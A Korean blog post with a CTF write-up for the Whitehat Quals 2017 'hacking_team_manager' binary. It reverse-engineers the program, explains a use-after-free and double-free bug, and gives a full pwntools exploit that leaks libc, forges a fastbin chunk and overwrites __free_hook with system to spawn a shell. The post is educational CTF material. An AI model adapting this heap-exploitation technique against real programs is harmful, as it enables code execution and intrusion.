ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 0x27.Whitehat Quals 2017 - hacking_team_manager
    0x.CTF 2018. 11. 29. 17:19

    0x27.Whitehat Quals 2017 - hacking_team_manager


    파일 & 소스 : https://github.com/pwnwiz/CTF/tree/master/hacking_team_manager


    동아리 내부 워게임에 C++ 문제는 나중에 풀려고 미루고 미루고 또 미루다가 이제는 풀어야된다 싶어서 잡은 바이너리였다. 역시 C++은 분석이 너무 싫다. 바이너리가 생각보다 커서 꽤 오랜 시간을 분석에 할애하였다.



    Main 함수를 보면 메뉴가 1,2,3이 존재하고 메뉴를 호출하기 전에 sub_12D0가 호출이 된다.



    해당 부분에서는 큰 구조체에다가 다음의 문자열을 가리키는 포인터를 담는다.



    그리고 사용자에 대한 nick_name과 team_name에 대한 정보를 입력받고 al+328의 위치에 해당 heap 주소를 남긴다.



    해당 포인터를 따라 들어가면 또 구조체가 있다.



    첫 8바이트를 따라가보면 name이 저장되있음을 확인할 수 있다.



    그리고 차례대로 Leak, TypeConfusion과 같은 문자열들에 대한 정보가 추가적으로 입력이 된다.



    이를 통해 알 수 있는 큰 구조체의 형식은 대략적으로 다음과 같다.


    al +  0  = Leak
    al + 8 = 4 (문자 길이)
    al + 32 = 200(금액)
    al + 40 = TypeConfusion
    al + 48 = 13
    al + 72 = 400
    ...

    al + 328 = 사용자 정보


    1번 메뉴 hire를 확인해보았다.



    al+280을 체크하여 해당 값이 19999보다 클 경우에만 hire 메뉴를 사용할 수 있는데 이를 통해 해당 값이 돈과 관련되어 있다는 것을 알 수 있으며 hire를 통하여 할당된 정보는 al + 280 + index에 저장된다는 것을 알 수 있다. 그리고 al + 284가 count로 사용되어 팀원이 한 명씩 증가하면 1씩 증가한다는 사실을 알 수 있다.


    2번 메뉴를 들어가보니 3개의 옵션이 존재한다. 2번은 hire를 통해 count를 증가시켜야 활용할 수 있으며 1번과 거의 유사한 구조를 가지고 있다.



    1번 Hacking 메뉴를 들어가보면 5개의 세부메뉴를 가지고 있다. 역시나 바이너리가 더럽게 크다 ㅜㅜ ( C++ 첫 분석이라 너무 시간이 많이 걸렸다... )



    1번 메뉴인 Finding vulnerability를 확인해보니 사용자로부터 target을 입력받고 vulnerability를 입력받는다.



    맨 처음 큰 구조체에 여러 문자열에 대한 값을 저장하였는데 여기서 target과 vulnerability를 체크할 때 해당 문자열들과 비교하는 방식을 사용한다. 즉 Target은 Browser, Kernel, MobileOS로 제한이 되고, vulnerability는 Leak, TypeConfusion, Overflow, UAF로 제한이 되어 다른 값을 입력하면 할당이 진행되지 않는다.


    아래 부분을 보면 vulnerability을 입력할때 new라는 단어가 포함되어 잇고, a2[71], a2[72]의 조건을 충족하면 sub_21E2가 호출이 된다. al[71] 이라는 값은 al+284이므로 아까 hire를 통해 값을 올릴 수 있는 고용 인원 수를 나타내고, al[72]는 Outsourcing 메뉴를 통해 할당되는 아웃소싱 횟수를 의미한다.



    특별한 정보를 찾기 위해 sub_21E2에 들어가보았다.



    해당 메뉴를 활용하면 직접적으로 돈에 대한 부분을 입력을 통해 할당할 수 있었다. 2번 Outsourcing 메뉴는 아까 위에서 언급한 al[72]의 값을 맞추는데 사용된다.



    특별한 점은 보이지 않았다. 이 정상적으로 큰 프로그램은 3번 메뉴 Edit Vulneravbility List에서 문제가 발생한다.



    3번 메뉴는 사용자로부터 index를 입력받아 edit 또는 delete를 수행한다.


    edit 부분을 보면 해당 정보가 삭제되었는지에 대한 검증이 없기에 uaf가 발생한다. 또한 price, vulnerability, target에 대한 정보를 마구마구 변경이 가능하다.



    delete를 보면 해당 인덱스의 청크를 그냥 delete해버린다. 이 역시 free 여부를 확인하지 않기 때문에 double free와 같은 버그가 발생가능하다.



    취약점에 대한 청크의 크기는 0x50인데 해당 청크에 대하여 uaf취약점이 존재하고 double-free가 가능하기에 fastbin double free 취약점을 통해 fd 조작으로 특정 위치의 fake_chunk로 할당이 가능한 취약점이 발생한다.


    4번 메뉴를 보니 Target, Vulnerability, Prize에 대한 출력을 해주는 부분이다. 전형적으로 Leak을 할 수 있는 구간이다.



    이제 취약점에 대한 청크를 확인해보는 작업을 할 시간이다. 아까 al+328의 위치에 해커에 대한 정보가 위치하는 포인터가 존재하였기 때문에 해당 부분을 확인해보니



    0x55555576bdc0에 청크 주소가 하나 할당이 되어 있었다. 해당 주소를 따라가보자.



    취약점에 대한 정보가 들어있었다. 빙고! 이를 통해 취약점 청크의 구조체를 정리해보면 다음과 같다.


    vul_info[0] = price
    vul_info[1] = &target
    vul_info[2] = target_length
    vul_info[3] = target_string
    vul_info[4] = 0
    vul_info[5] = &vulnerability
    vul_info[6] = vulnerability_length
    vul_info[7] = vulnerability_string


    그리고 hire 메뉴를 통하여 확인해본 해커에 대한 구조체는 다음과 같다.


    hacker[0] = &nick_name
    hacker[1] = nick_name_length
    hacker[2] = nick_name string (8 bytes)
    hacker[3] = 0
    hacker[4] = &vul_info[0]
    ...


    구조를 자세히 보면 price가 저장된 부분이 fastbin 기준으로 fd의 위치이다. 이를 이용하여 heap 릭이 가능하다. 또한 vulnerability 또는 target을 smallbin 사이즈로 할당하여 free를 하여 heap_arena에 대한 릭이 가능하다.


    사실상 바이너리에서 free를 직접할 수 있는 Fastbin은 2종류가 존재한다. 첫 번째는 hacker에 대한 구조체로 0x80사이즈를 가지고 있고, 다른 하나는 찾은 취약점에 대한 청크로 0x50사이즈를 가지고 있다. 다만 hacker에 대한 구조체는 free를 할 수 있지만 fd에 대한 조작이 안되서 malloc_hook 쪽으로 fake_chunk를 생성하는 것이 불가능하여서 고민을 하다가 킹갓 후배님께서 0x50사이즈로 fake_chunk를 생성하는 방법에 대해서 조언을 줘서 해당 방식으로 fake_chunk를 할당하는 방식을 사용하였다.


    취약점 부분에서 직접적으로 target또는 vulnerability의 첫 문자 8바이트를 원하는 값으로 적을 수 있으므로 size값인 0x50을 만들 수 있다. 또한 heap_leak을 통해 해당 주소를 가리키게 할 수도 있다. 만약 fake_chunk를 잘 생성해서 직접 변경이 가능한 price를 통해 free_hook의 주소를 입력한 뒤에 다른 청크로 해당 값에 대한 변조가 가능하다면 원하는 위치에 원하는 값을 쓸 수 있을 것이다.


    FULL RELRO이기에 got를 overwrite를 할 수는 없기에 hook 쪽을 공격하기로 하였다.


    사용자의 힙을 할당한 뒤에 free를 해주었다.



    0x5647f80dee60의 위치에 fake_chunk를 생성하기 위해서 아래의 청크에서 vulnerability에 0x50이라는 값을 넣어서 fake_chunk의 사이즈를 임의로 만들어주고 free된 청크의 fd에 0x4547f80deea0을 줘서 해당 위치에 fake 청크가 생성되도록 하였다.



    fd의 값이 fake_chunk를 가리키도록 하면 2번 째 할당에서 fake_chunk가 생성될 것이다.



    gdb를 다시 붙혀서 주소값이 바뀌긴 했지만 fake_chunk를 생성한 다음, 사용자 기준으로 취약점 청크의 주소는 다음과 같다.



    가장 최근에 할당한 0x557167338eb0이 fake_chunk인데 0x557167338ec0에 할당된 청크와 0x10이라는 주소의 차이로 구조체가 겹쳐져 있다는 사실을 알 수 있다.


    Fake_chunk의 기준으로 price 부분의 값의 주소는 0x557167338eb0이다.



    정상적인 청크의 기준으로 겹쳐진 부분을 확인해보면 fake_chunk에서 target의 첫 8바이트의 값이 적히는 0x55716338ec8의 부분이 정상적인 청크에서 target 청크의 포인터 주소라는 것을 알 수 있다.



    이를 통해 fake_chunk에서 target의 첫 8바이트를 hook의 주소로 변경한 뒤에 정상적인 청크에서 target의 값을 바꾸면 해당 주소에 값을 쓸 수 있다.


    처음에 malloc_hook에 oneshot을 박아봤는데 작동하지 않아서, free부분에 system(/bin/sh;)를 적어서 쉘을 딸 수 있었다.



    익스플로잇 코드

    from pwn import *

    s = process('./hacking_team_manager')
    e = ELF('./hacking_team_manager')

    def to_main():
        s.recvuntil('> ')

    def register(nickname, teamname):
        s.recvuntil('What is your nick name? ')
        s.sendline(nickname)
        s.recvuntil('What is your team name? ')
        s.sendline(teamname)
        to_main()

    def hire(nickname):
        s.sendline('1')
        s.recvuntil('Do you want to hire another hacker? ')
        s.sendline('yes')
        s.recvuntil('What is your nick name? ')
        s.sendline(nickname)
        to_main()

    def living_hell(mem_no):
        s.sendline('2')
        s.recvuntil('> ')
        s.sendline('2')
        s.recvuntil('> ')
        s.sendline(mem_no)
        s.recvuntil('> ')
        s.sendline('3')
        to_main()

    def dup(target, vul):
        s.sendline('1')
        s.recvuntil('What\'s the target? ')
        s.sendline(target)
        s.recvline()
        s.sendline(vul)
        result = s.recvuntil('> ')
        if 'duplicated' in result:
            dup(target, vul)

    def start_working(your_work, option, target='0', vul='0', new_detail='0', price='0', team_name='0'):
        leaked = 0
        s.sendline('2')
        s.recvuntil('> ')
        s.sendline(your_work)
        if your_work == '2':
            s.recvuntil('> ')
            s.sendline(team_name)
        s.recvuntil('> ')
        s.sendline(option)
        if option == '1': # finding_vulnerability
            s.recvuntil('What\'s the target? ')
            s.sendline(target) # Browser, Kernel, MobileOS
            s.recvline()
            s.sendline(vul)
            if 'new' in vul:
                s.recvline()
                s.sendline(new_detail)
                s.recvuntil('How much you think? ')
                s.sendline(price)
                s.recvuntil('> ')
            else:
                result = s.recvuntil('> ')
                if 'duplicated' in result:
                    dup(target, vul)
        elif option == '2': # outsourcing
            s.recvuntil('> ')
        elif option == '3': # edit vulnerability list
            s.recvuntil('> ')
            s.sendline(target)
            answer = s.recv()
            if 'no vulnerability' in answer:
                s.sendline('5')
                s.recvuntil('> ')
            else: #Do you want to edit it or delete it?
            s.sendline(vul) # edit or delete
            if 'edit' in vul:
                s.recvuntil('> ')
                s.sendline(new_detail)
                s.recvuntil(': ')
                s.sendline(price)
            elif 'delete' in vul:
                s.recvuntil('> ')
        elif option == '4': # show vulnerability list
            s.recvuntil('Prize : ')
            s.recvuntil('Prize : ')
            if team_name == '1':
                leaked = int(s.recv(15))
            else:
                leaked = int(s.recv(14))
            s.recv()
        s.sendline('5')
        s.recvuntil('> ')
        s.sendline('3')
        s.recvuntil('> ')
        return leaked

    def exploit():
        s.sendline('2')
        s.recvuntil('> ')
        s.sendline('2')
        s.recvuntil('> ')
        s.sendline('1')
        s.recv()
        s.recvline()

    register('ABCDEFGH', 'IJKLMNOP')
    start_working('1', '1', 'MobileOS', 'Leak')
    start_working('1', '1', 'MobileOS', 'Leak')
    start_working('1', '1', 'MobileOS', 'Leak')

    start_working('1', '3', '1', 'delete')
    start_working('1', '3', '0', 'delete')

    heap_leak = start_working('1', '4') # fastbin free -> fd

    hire('1')
    hire('2')
    hire('3')
    hire('4')

    start_working('2', '1', 'Kernel', 'Overflow', '0', '0', '1')
    start_working('2', '1', 'Kernel', 'Overflow', '0', '0', '1')
    start_working('2', '1', 'Kernel', 'Overflow', '0', '0', '1')
    start_working('2', '1', 'Kernel', 'Overflow', '0', '0', '1')

    start_working('2', '3', '0', 'edit', '3', 'a'*90, '1') # resize price
    start_working('2', '3', '1', 'edit', '3', 'a'*90, '1')

    start_working('2', '3', '0', 'delete', '0', '0', '1')
    start_working('2', '3', '1', 'delete', '0', '0', '1')

    arena_leak = start_working('2', '4', '0', '0', '0', '0', '1')
    libc_leak = arena_leak - 0x3c4b78
    system = libc_leak + 0x45390
    free_hook = libc_leak + 0x3c67a8
    fake_chunk = heap_leak - 0x10

    start_working('2', '2', '0', '0', '0', '0', '2') # outsourcing
    start_working('2', '2', '0', '0', '0', '0', '2')
    start_working('2', '2', '0', '0', '0', '0', '2')
    start_working('2', '2', '0', '0', '0', '0', '2')
    start_working('2', '2', '0', '0', '0', '0', '2')
    start_working('2', '2', '0', '0', '0', '0', '2')

    start_working('1', '1', 'Kernel', 'Overflow')
    start_working('1', '1', 'Kernel', 'Overflow')
    start_working('1', '1', 'Kernel', 'Overflow')
    start_working('1', '1', 'Kernel', 'Overflow')
    start_working('1', '1', 'Kernel', 'Overflow')

    start_working('1', '3', '4', 'delete')
    start_working('1', '3', '4', 'edit', '2', str(int(fake_chunk)))
    start_working('1', '3', '0', 'edit', '3', p64(0x50)) # fake chunk size ( vul )

    start_working('1', '1', 'MobileOS', 'Leak')
    start_working('1', '1', 'MobileOS', 'Leak') # fake_chunk
    start_working('1', '3', '8', 'edit', '1', p64(free_hook))
    start_working('1', '3', '1', 'edit', '1', p64(system)) # free_hook -> system
    start_working('1', '3', '8', 'edit', '1', p64(free_hook+16))
    start_working('1', '3', '1', 'edit', '1', '/bin/sh;') # system(/bin/sh;)

    exploit()
    s.sendline('id')
    s.sendline('cat flag')
    s.interactive()



    '0x.CTF' 카테고리의 다른 글

    0x29.CODEGATE 2017 - dart-master  (0) 2018.12.27
    0x28.BoB ctf - FMbug  (0) 2018.12.15
    0x26.WITHCON 2017 - combination  (0) 2018.11.22
    0x25.SSG - easy_linux_reversing  (0) 2018.11.09
    0x24.SSG - fortune_cookie  (0) 2018.11.08

    댓글

Designed by Tistory.